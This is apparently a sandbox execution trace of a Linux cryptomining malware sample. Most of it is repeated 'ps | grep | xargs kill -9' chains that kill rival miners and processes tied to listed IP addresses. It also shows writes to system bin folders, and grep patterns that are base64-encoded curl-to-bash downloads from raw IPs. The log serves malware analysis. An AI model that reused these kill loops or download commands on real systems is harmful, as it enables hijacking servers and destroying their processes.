-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:604
-
-
/bin/grepgrep -v grep2⤵PID:605
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:606
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:607
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:608
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:609
-
-
/bin/grepgrep -v grep2⤵PID:610
-
-
/bin/grepgrep AgdgACUD2⤵PID:611
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:613
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:612
-
-
/bin/psps aux2⤵PID:614
-
-
/bin/grepgrep -v grep2⤵PID:615
-
-
/bin/grepgrep uiZvwxG82⤵PID:616
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:618
-
-
/bin/psps aux2⤵PID:619
-
-
/bin/grepgrep -v grep2⤵PID:620
-
-
/bin/grepgrep hahwNEdB2⤵PID:621
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:622
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:623
-
-
/bin/psps aux2⤵PID:624
-
-
/bin/grepgrep -v grep2⤵PID:625
-
-
/bin/grepgrep BtwXn5qH2⤵PID:626
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:627
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:628
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:629
-
-
/bin/grepgrep -v grep2⤵PID:630
-
-
/bin/grepgrep 3XEzey2T2⤵PID:631
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:632
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:633
-
-
/bin/psps aux2⤵PID:634
-
-
/bin/grepgrep -v grep2⤵PID:635
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:636
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:637
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:638
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:639
-
-
/bin/grepgrep -v grep2⤵PID:640
-
-
/bin/grepgrep svc2⤵PID:641
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:642
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:643
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:644
-
-
/bin/grepgrep -v grep2⤵PID:645
-
-
/bin/grepgrep HD7fcBgg2⤵PID:646
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:647
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:648
-
-
/bin/psps aux2⤵PID:649
-
-
/bin/grepgrep -v grep2⤵PID:650
-
-
/bin/grepgrep zXcDajSs2⤵PID:651
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:652
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:653
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:654
-
-
/bin/grepgrep -v grep2⤵PID:655
-
-
/bin/grepgrep 3lmigMo2⤵PID:656
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:657
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:658
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:659
-
-
/bin/grepgrep -v grep2⤵PID:660
-
-
/bin/grepgrep AkMK4A22⤵PID:661
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:662
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:663
-
-
/bin/psps aux2⤵PID:664
-
-
/bin/grepgrep -v grep2⤵PID:665
-
-
/bin/grepgrep AJ2AkKe2⤵PID:666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:668
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:667
-
-
/bin/psps aux2⤵PID:669
-
-
/bin/grepgrep -v grep2⤵PID:670
-
-
/bin/grepgrep HiPxCJRS2⤵PID:671
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:673
-
-
/bin/psps aux2⤵PID:674
-
-
/bin/grepgrep -v grep2⤵PID:675
-
-
/bin/grepgrep http_0xCC0302⤵PID:676
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:678
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:677
-
-
/bin/psps aux2⤵PID:679
-
-
/bin/grepgrep -v grep2⤵PID:680
-
-
/bin/grepgrep http_0xCC0312⤵PID:681
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:682
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:683
-
-
/bin/psps aux2⤵PID:684
-
-
/bin/grepgrep -v grep2⤵PID:685
-
-
/bin/grepgrep http_0xCC0322⤵PID:686
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:687
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:688
-
-
/bin/psps aux2⤵PID:689
-
-
/bin/grepgrep -v grep2⤵PID:690
-
-
/bin/grepgrep http_0xCC0332⤵PID:691
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:692
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:693
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:694
-
-
/bin/grepgrep -v grep2⤵PID:695
-
-
/bin/grepgrep C4iLM4L2⤵PID:696
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:697
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:698
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:699
-
-
/bin/grepgrep -v grep2⤵PID:700
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:701
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:702
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:703
-
-
/bin/psps aux2⤵PID:704
-
-
/bin/grepgrep -v grep2⤵PID:705
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:706
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:707
-
-
/bin/psps aux2⤵PID:708
-
-
/bin/grepgrep -v grep2⤵PID:709
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:710
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:712
-
-
/bin/psps aux2⤵PID:713
-
-
/bin/grepgrep -v grep2⤵PID:714
-
-
/bin/grepgrep i4b503a52cc52⤵PID:715
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:716
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:717
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:720
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:721
-
-
/bin/grepgrep -v grep2⤵PID:719
-
-
/bin/psps aux2⤵PID:718
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:722
-
-
/bin/psps aux2⤵PID:723
-
-
/bin/grepgrep -v grep2⤵PID:724
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:725
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:727
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:726
-
-
/bin/psps aux2⤵PID:728
-
-
/bin/grepgrep -v grep2⤵PID:729
-
-
/bin/grepgrep nqscheduler2⤵PID:730
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:731
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:732
-
-
/bin/psps aux2⤵PID:733
-
-
/bin/grepgrep -v grep2⤵PID:734
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:735
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:736
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:737
-
-
/bin/psps aux2⤵PID:738
-
-
/bin/grepgrep -v grep2⤵PID:739
-
-
/bin/grepgrep -v aux2⤵PID:740
-
-
/bin/grepgrep "]"2⤵PID:741
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:743
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:742
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:744
-
-
/bin/grepgrep -v grep2⤵PID:745
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:746
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:747
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:748
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:749
-
-
/bin/grepgrep -v grep2⤵PID:750
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:751
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:752
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:753
-
-
/bin/psps aux2⤵PID:754
-
-
/bin/grepgrep -v grep2⤵PID:755
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:756
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:758
-
-
/bin/psps aux2⤵PID:759
-
-
/bin/grepgrep -v grep2⤵PID:760
-
-
/bin/grepgrep -v /2⤵PID:761
-
-
/bin/grepgrep -v -2⤵PID:762
-
-
/bin/grepgrep -v _2⤵PID:763
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:764
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:765
-
-
/bin/psps aux2⤵PID:766
-
-
/bin/grepgrep -v grep2⤵PID:767
-
-
/bin/grepgrep "\\[^"2⤵PID:768
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:770
-
-
/bin/psps aux2⤵PID:771
-
-
/bin/grepgrep -v grep2⤵PID:772
-
-
/bin/grepgrep rsync2⤵PID:773
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:774
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:775
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:776
-
-
/bin/grepgrep -v grep2⤵PID:777
-
-
/bin/grepgrep watchd0g2⤵PID:778
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:779
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:780
-
-
/bin/psps aux2⤵PID:781
-
-
/bin/grepgrep -v grep2⤵PID:782
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:784
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:785
-
-
/bin/egrepegrep "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵
- Writes file to system bin folder
PID:783
-
-
/usr/local/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:783
-
-
/usr/local/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:783
-
-
/usr/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:783
-
-
/usr/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:783
-
-
/sbin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:783
-
-
/bin/grepgrep -E "wnTKYg|2t3ik|qW3xT.2|ddg"2⤵PID:783
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:786
-
-
/bin/grepgrep -v grep2⤵PID:787
-
-
/bin/grepgrep 158.69.133.18:82202⤵PID:788
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:789
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:790
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:791
-
-
/bin/grepgrep -v grep2⤵PID:792
-
-
/bin/grepgrep /tmp/java2⤵PID:793
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:794
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:795
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:796
-
-
/bin/grepgrep -v grep2⤵PID:797
-
-
/bin/grepgrep gitee.com2⤵PID:798
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:799
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:800
-
-
/bin/psps aux2⤵PID:801
-
-
/bin/grepgrep -v grep2⤵PID:802
-
-
/bin/grepgrep /tmp/java2⤵PID:803
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:804
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:805
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:806
-
-
/bin/grepgrep -v grep2⤵PID:807
-
-
/bin/grepgrep 104.248.4.1622⤵PID:808
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:809
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:810
-
-
/bin/psps aux2⤵PID:811
-
-
/bin/grepgrep -v grep2⤵PID:812
-
-
/bin/grepgrep 89.35.39.782⤵PID:813
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:814
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:815
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:816
-
-
/bin/grepgrep -v grep2⤵PID:817
-
-
/bin/grepgrep /dev/shm/z3.sh2⤵PID:818
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:819
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:820
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:821
-
-
/bin/grepgrep -v grep2⤵PID:822
-
-
/bin/grepgrep kthrotlds2⤵PID:823
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:824
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:825
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:826
-
-
/bin/grepgrep -v grep2⤵PID:827
-
-
/bin/grepgrep ksoftirqds2⤵PID:828
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:829
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:830
-
-
/bin/psps aux2⤵PID:831
-
-
/bin/grepgrep -v grep2⤵PID:832
-
-
/bin/grepgrep netdns2⤵PID:833
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:834
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:835
-
-
/bin/psps aux2⤵PID:836
-
-
/bin/grepgrep -v grep2⤵PID:837
-
-
/bin/grepgrep watchdogs2⤵PID:838
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:839
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:840
-
-
/bin/psps aux2⤵PID:841
-
-
/bin/grepgrep -v grep2⤵PID:842
-
-
/bin/grepgrep kdevtmpfsi2⤵PID:843
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:844
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:845
-
-
/bin/grepgrep -v grep2⤵PID:847
-
-
/bin/psps aux2⤵PID:846
-
-
/bin/grepgrep kinsing2⤵PID:848
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:849
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:850
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:851
-
-
/bin/grepgrep -v grep2⤵PID:852
-
-
/bin/grepgrep redis22⤵PID:853
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:854
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:855
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:856
-
-
/bin/grepgrep -v grep2⤵PID:857
-
-
/bin/grepgrep -v aux2⤵PID:858
-
-
/bin/grepgrep " ps"2⤵PID:859
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:860
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:861
-
-
/bin/psps aux2⤵PID:862
-
-
/bin/grepgrep -v grep2⤵PID:863
-
-
/bin/grepgrep sync_supers2⤵PID:864
-
-
/usr/bin/cutcut -c 9-152⤵PID:865
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:866
-
-
/bin/psps aux2⤵PID:867
-
-
/bin/grepgrep -v grep2⤵PID:868
-
-
/bin/grepgrep cpuset2⤵PID:869
-
-
/usr/bin/cutcut -c 9-152⤵PID:870
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:871
-
-
/bin/psps aux2⤵PID:872
-
-
/bin/grepgrep -v grep2⤵PID:873
-
-
/bin/grepgrep -v aux2⤵PID:874
-
-
/bin/grepgrep "x]"2⤵PID:875
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:876
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:877
-
-
/bin/psps aux2⤵PID:878
-
-
/bin/grepgrep -v grep2⤵PID:879
-
-
/bin/grepgrep -v aux2⤵PID:880
-
-
/bin/grepgrep "sh] <"2⤵PID:881
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:882
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:883
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:884
-
-
/bin/grepgrep -v grep2⤵PID:885
-
-
/bin/grepgrep -v aux2⤵PID:886
-
-
/bin/grepgrep " \\[]"2⤵PID:887
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:888
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:889
-
-
/bin/psps aux2⤵PID:890
-
-
/bin/grepgrep -v grep2⤵PID:891
-
-
/bin/grepgrep /tmp/l.sh2⤵PID:892
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:893
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:894
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:895
-
-
/bin/grepgrep -v grep2⤵PID:896
-
-
/bin/grepgrep /tmp/zmcat2⤵PID:897
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:898
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:899
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:900
-
-
/bin/grepgrep -v grep2⤵PID:901
-
-
/bin/grepgrep hahwNEdB2⤵PID:902
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:903
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:904
-
-
/bin/psps aux2⤵PID:905
-
-
/bin/grepgrep -v grep2⤵PID:906
-
-
/bin/grepgrep CnzFVPLF2⤵PID:907
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:908
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:909
-
-
/bin/psps aux2⤵PID:910
-
-
/bin/grepgrep -v grep2⤵PID:911
-
-
/bin/grepgrep CvKzzZLs2⤵PID:912
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:913
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:914
-
-
/bin/psps aux2⤵PID:915
-
-
/bin/grepgrep -v grep2⤵PID:916
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵PID:917
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:918
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:919
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:920
-
-
/bin/grepgrep -v grep2⤵PID:921
-
-
/bin/grepgrep /tmp/udevd2⤵PID:922
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:923
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:924
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:925
-
-
/bin/grepgrep -v grep2⤵PID:926
-
-
/bin/grepgrep KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA2⤵PID:927
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:928
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:929
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:930
-
-
/bin/grepgrep -v grep2⤵PID:931
-
-
/bin/grepgrep Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo2⤵PID:932
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:933
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:934
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:935
-
-
/bin/grepgrep -v grep2⤵PID:936
-
-
/bin/grepgrep sustse2⤵PID:937
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:938
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:939
-
-
/bin/psps aux2⤵PID:940
-
-
/bin/grepgrep -v grep2⤵PID:941
-
-
/bin/grepgrep sustse32⤵PID:942
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:943
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:944
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:945
-
-
/bin/grepgrep -v grep2⤵PID:946
-
-
/bin/grepgrep mr.sh2⤵PID:947
-
-
/bin/grepgrep wget2⤵PID:948
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:949
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:950
-
-
/bin/psps aux2⤵PID:951
-
-
/bin/grepgrep -v grep2⤵PID:952
-
-
/bin/grepgrep mr.sh2⤵PID:953
-
-
/bin/grepgrep curl2⤵PID:954
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:955
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:956
-
-
/bin/psps aux2⤵PID:957
-
-
/bin/grepgrep -v grep2⤵PID:958
-
-
/bin/grepgrep 2mr.sh2⤵PID:959
-
-
/bin/grepgrep wget2⤵PID:960
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:961
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:962
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:963
-
-
/bin/grepgrep -v grep2⤵PID:964
-
-
/bin/grepgrep 2mr.sh2⤵PID:965
-
-
/bin/grepgrep curl2⤵PID:966
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:967
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:968
-
-
/bin/psps aux2⤵PID:969
-
-
/bin/grepgrep -v grep2⤵PID:970
-
-
/bin/grepgrep cr5.sh2⤵PID:971
-
-
/bin/grepgrep wget2⤵PID:972
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:973
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:974
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:975
-
-
/bin/grepgrep -v grep2⤵PID:976
-
-
/bin/grepgrep cr5.sh2⤵PID:977
-
-
/bin/grepgrep curl2⤵PID:978
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:979
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:980
-
-
/bin/psps aux2⤵PID:981
-
-
/bin/grepgrep -v grep2⤵PID:982
-
-
/bin/grepgrep logo9.jpg2⤵PID:983
-
-
/bin/grepgrep wget2⤵PID:984
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:985
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:986
-
-
/bin/psps aux2⤵PID:987
-
-
/bin/grepgrep -v grep2⤵PID:988
-
-
/bin/grepgrep curl2⤵PID:990
-
-
/bin/grepgrep logo9.jpg2⤵PID:989
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:991
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:992
-
-
/bin/psps aux2⤵PID:993
-
-
/bin/grepgrep -v grep2⤵PID:994
-
-
/bin/grepgrep j2.conf2⤵PID:995
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:996
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:997
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:998
-
-
/bin/grepgrep -v grep2⤵PID:999
-
-
/bin/grepgrep luk-cpu2⤵PID:1000
-
-
/bin/grepgrep wget2⤵PID:1001
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1002
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1003
-
-
/bin/psps aux2⤵PID:1004
-
-
/bin/grepgrep -v grep2⤵PID:1005
-
-
/bin/grepgrep luk-cpu2⤵PID:1006
-
-
/bin/grepgrep curl2⤵PID:1007
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1008
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1009
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1010
-
-
/bin/grepgrep -v grep2⤵PID:1011
-
-
/bin/grepgrep ficov2⤵PID:1012
-
-
/bin/grepgrep wget2⤵PID:1013
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1014
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1015
-
-
/bin/grepgrep -v grep2⤵PID:1017
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1016
-
-
/bin/grepgrep curl2⤵PID:1019
-
-
/bin/grepgrep ficov2⤵PID:1018
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1020
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1021
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1022
-
-
/bin/grepgrep -v grep2⤵PID:1023
-
-
/bin/grepgrep he.sh2⤵PID:1024
-
-
/bin/grepgrep wget2⤵PID:1025
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1026
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1027
-
-
/bin/psps aux2⤵PID:1028
-
-
/bin/grepgrep -v grep2⤵PID:1029
-
-
/bin/grepgrep he.sh2⤵PID:1030
-
-
/bin/grepgrep curl2⤵PID:1031
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1032
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1033
-
-
/bin/psps aux2⤵PID:1034
-
-
/bin/grepgrep -v grep2⤵PID:1035
-
-
/bin/grepgrep miner.sh2⤵PID:1036
-
-
/bin/grepgrep wget2⤵PID:1037
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1038
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1039
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1040
-
-
/bin/grepgrep -v grep2⤵PID:1041
-
-
/bin/grepgrep miner.sh2⤵PID:1042
-
-
/bin/grepgrep curl2⤵PID:1043
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1044
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1045
-
-
/bin/psps aux2⤵PID:1046
-
-
/bin/grepgrep -v grep2⤵PID:1047
-
-
/bin/grepgrep nullcrew2⤵PID:1048
-
-
/bin/grepgrep wget2⤵PID:1049
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1050
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1051
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1052
-
-
/bin/grepgrep -v grep2⤵PID:1053
-
-
/bin/grepgrep curl2⤵PID:1055
-
-
/bin/grepgrep nullcrew2⤵PID:1054
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1056
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1057
-
-
/bin/psps aux2⤵PID:1058
-
-
/bin/grepgrep -v grep2⤵PID:1059
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1060
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1061
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1062
-
-
/bin/psps aux2⤵PID:1063
-
-
/bin/grepgrep -v grep2⤵PID:1064
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1065
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1066
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1067
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1068
-
-
/bin/grepgrep -v grep2⤵PID:1069
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1070
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1071
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1072
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1073
-
-
/bin/grepgrep -v grep2⤵PID:1074
-
-
/bin/grepgrep 144.217.45.452⤵PID:1075
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1076
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1077
-
-
/bin/psps aux2⤵PID:1078
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1080
-
-
/bin/grepgrep -v grep2⤵PID:1079
-
-
